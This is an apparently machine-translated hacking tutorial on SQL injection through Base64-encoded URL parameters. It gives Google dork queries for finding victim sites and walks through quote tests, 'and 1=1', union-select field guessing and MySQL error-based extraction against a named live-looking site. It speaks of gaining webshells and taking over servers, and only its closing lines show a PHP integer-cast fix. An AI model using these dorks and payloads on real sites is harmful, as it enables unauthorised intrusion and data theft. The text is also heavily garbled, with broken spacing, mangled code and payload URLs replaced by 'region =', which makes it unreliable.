Base64 deformation Injection
When we look for the SQL injection vulnerability on Google, the keyword is constructed as follows:
inurl:news.php?id=inurl:*.php?id=12inurl:.php?articleid=....
No matter how you search, we usually think that the GET value is either a number or a character. Integer or string. So you never thought about how to hide the real number if you are a programmer? A good method is to encrypt the number in base64. This encryption is reversible and all characters are used, which is easy to operate. However, the problem is that although Base64 can hide numbers, if the numbers are not normalized or filtered, SQL injection is generated. In fact, most websites with encrypted numbers as Base64 URLs have injection points. You can open an injection point and inject it to get the webshell or server. You will find that the "Predecessors" have been there. The injection points with Base64 deformation are clean. Now, we will tell you what Base64 deformation injection is. Base64 is an encryption method. Simply put, it is used to encode any letter, number, symbol, or Chinese character. This encoding is similar to HEX Encoding, but it is more complex than HEX Encoding, but it is still reversible. It is characterized by an increase of 40% compared with the size of the original string. For details about this encryption method, refer to network transmission protocol-Base64. It doesn't matter if you don't understand it. I will provide a Base64 encryption and decryption tool at the end of the article. Now, proceed to the topic. When Google chooses to inject a keyword, there may be such a keyword: inurl:. php? Id = 13
The same keyword "13" for Base64 compilation and injection is as follows: inurl:. php? Id = MTM =
Weird? In fact, this is not the case. (after testing, the website 99% on this page is an injection point, and half of it can get Webshell, five to seven other webshells can be used to win the server ). php? Id = MTM = is actually. php? Id = 13 only the client displays Base64 encoding, but the server actually runs. php? Id = 13 + single quotes to determine the injection point, such the injection steps are the same. Instead of adding a quotation mark ("13") directly, we need to encode it with base64. 13 'This string is Base64 encoded to get: MTMn to Google get the first URL as an example, http://www.bkjia.com/location.php? Id = MTM = changed to: http://www.bkjia.com/location.php? Id = MTMn
We can see the SQL error ECHO: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 3 is familiar with this error Echo? In this way, ". php? Id = 13 and 1 = 1 "try? Note, base64 encoding. Here we cannot use the plus sign "+" or "% 20" to replace the Base64 encoding of the Space "13 and 1 = 1" in the SQL statement. It is "MTMgYW5kIDE9MQ =". Let's access it: http://www.bkjia.com/location.php? Id = MTM = http://www.bkjia.com/location.php? Id = MTMgYW5kIDE9MQ =
These two pages are exactly the same, right? Well, what we need to do later is to guess the number of fields and burst data. Sorry, I did not guess the number of fields on this website. Although Base64 encoding is easy to convert, it is complicated to convert it once without a guess. I have always guessed that the correct statement for 17 fields is:. php? Id = 0 union select 1, 2, 4, 5, 6, 7, 8, 9, 0, 1, 3, 4, 5, 6, 7
Then the injection statement converted to Base64 is: http://www.bkjia.com/location.php? Id = region =
The database prompts that The number of fields in The joint query is not uniform: The used SELECT statements have a different number of columns will continue to be guessed. Here I will discuss it. If we encounter this encoding station, if it is too troublesome, we may wish to use the MySQL error echo injection knowledge: MySQL error echo set public method injection, then the injection statement is:. php? Id = 0 union select 1 from (select count (*), concat (floor (rand (0) * 2), (select database () a from information_schema.tables group by) B
Base64 encoding to get: http://www.bkjia.com/location.php? Id = region =
Get the database name thefavehotels code: This Encoding Anti-injection method is actually very simple, we first look at the website source code:
$ At_id = base64_decode ($ _ REQUEST ['id']); // get the variable id and perform decoding $ setcount = mysql_query ("select at_visit from tbl_at where at_id = '". $ at_id. "'") or die (mysql_error (); // The decoded id is directly imported into the database. No matter how the programmer codes or decodes the decoded id, the SQL statement is finally imported into the database, no check is performed, no matter whether it is a regular expression or a filter. Then, we forcibly convert it to the int Integer type $ at_id = base64_decode ($ _ REQUEST ['id']) before bringing it into the database; // get the variable id and perform decoding $ at_id = (int) $ at_id; $ at_id = $ setcount = mysql_query ("select at_visit from tbl_at where at_id = '". $ at_id. "'") or die (mysql_error (); // bring the decoded id directly into the database, so that the injection vulnerability in Base64 encoding is not generated. You can also change the original statement to $ at_id = (int) base64_decode ($ _ REQUEST ['id.
